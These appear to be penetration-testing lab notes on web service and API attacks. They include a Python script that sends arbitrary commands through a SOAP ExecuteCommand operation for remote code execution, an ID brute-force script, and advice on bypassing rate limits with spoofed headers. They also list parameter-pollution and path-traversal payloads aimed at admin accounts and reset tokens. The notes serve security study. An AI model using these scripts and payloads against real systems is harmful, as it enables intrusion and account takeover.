Web Service & API Attacks

Web services enable applications to communicate with each other. An application programming interface (API) is a set of rules that enables data transmission between different software, they are not the same.

Web Services Description Language (WSDL)

WSDL is an XML-based file exposed by web services that informs clients of the provided services/methods. WSDl files can be hid by developers to preve abuse but can be found by fuzzing.

Example url:

curl http://<TARGET IP>:3002/wsdl?wsdl 

In the WSDL file look for

<wsdl:operation name="ExecuteCommand">
<soap:operation soapAction="ExecuteCommand" style="document"/>

Which shows a cmd parameter.

      <s:element name="ExecuteCommandRequest">
        
        <s:complexType>
          <s:sequence>
            <s:element minOccurs="1" maxOccurs="1" name="cmd" type="s:string"/>
          </s:sequence>
        </s:complexType>
        
      </s:element>

We can build a python script to send a xml request and RCE.

import requests
import sys
import re
from xml.etree import ElementTree

# Check if command argument is provided
if len(sys.argv) < 2:
    print("Usage: python script.py <command>")
    sys.exit(1)

cmd = sys.argv[1]

# Create the XML payload with the command inserted
payload = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
 xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xmlns:tns="http://tempuri.org/"
 xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/">
 <soap:Body>
 <LoginRequest xmlns="http://tempuri.org/">
 <cmd>''' + cmd + '''</cmd>
 </LoginRequest>
 </soap:Body>
</soap:Envelope>'''

response = requests.post(
    "http://10.129.206.216:3002/wsdl",
    data=payload,
    headers={"SOAPAction": '"ExecuteCommand"'}
)

# Extract just the result using regex (simpler than parsing XML with namespaces)
result_match = re.search(r'<result>(.*?)</result>', response.content.decode(), re.DOTALL)
if result_match:
    result = result_match.group(1)
    print(result)
else:
    print("Couldn't extract result from response")

API attacks

Check for possible parameters

ffuf -w "/home/htb-acxxxxx/Desktop/Useful Repos/SecLists/Discovery/Web-Content/burp-parameter-names.txt" -u 'http://<TARGET IP>:3003/?FUZZ=test_value' -fs 19

Finding something curl http://:3003/?id=1 . Retreive all id's with this script. If there is a rate limit then bypass it through headers like X-Forwarded-For or X-Forwarded-IP, etc.

import requests, sys

def brute():
    try:
        value = range(10000)
        for val in value:
            url = sys.argv[1]
            r = requests.get(url + '/?id='+str(val))
            if "position" in r.text:
                print("Number found!", val)
                print(r.text)
    except IndexError:
        print("Enter a URL E.g.: http://<TARGET IP>:3003/")

brute()

Check for possible endpoints like or in API documentation

GET /api/books HTTP/1.1
Host: example.com

# Then finding
/api/books/mystery

server-side parameter pollution

To test for server-side parameter pollution in the query string, place query syntax characters like #, &, and = in your input and check responses. Use a URL-encoded # character to attempt to truncate the server-side request.

Use URL encoded chars.

Truncate query strings with %23foo.

GET /userSearch?name=peter%23foo&back=/home

If you get invalid name the app may have treated foo as part of username.

GET /users/search?name=peter#foo&publicProfile=true

Injecting invalid parameters like %26foo=xyz.

GET /userSearch?name=peter%26foo=xyz&back=/home

This results in the following server-side request to the internal API:

GET /users/search?name=peter&foo=xyz&publicProfile=true

Injecting valid parameters

Override original parameter to check for server-side parameter pollution.

GET /userSearch?name=peter%26name=carlos&back=/home

Overriding existing parameters

To check wether application is vulnerable to server-side paremeter pollution override the original parameter by injecting a second parameter with the same name.

# Input
GET /userSearch?name=peter%26name=carlos&back=/home

# Send request
GET /users/search?name=peter&name=carlos&publicProfile=true

Things to try in short

<!-- Try &x=y bur url encoded-->
username=administrator%26x=y

<!-- Truncate query string with encoded, this could give info back like field not specified suggesting there is a field parameter. # -->
username=administrator%23

<!-- Bruteforce and or change value of the field parameter-->
username=administrator%26field=email%23

<!-- In example a reset token paraemter in .js file was found-->
username=administrator%26field=reset_token%23

server-side parameter pollution in REST paths

When there is a api for example using. GET /api/private/users/peter .

We can try path traversal to change the user from peter to admin. Use url encoding

# Payload
GET /edit_profile.php?name=peter%2f..%2fadmin

# Request
GET /api/private/users/peter/../admin

Last updated

Was this helpful?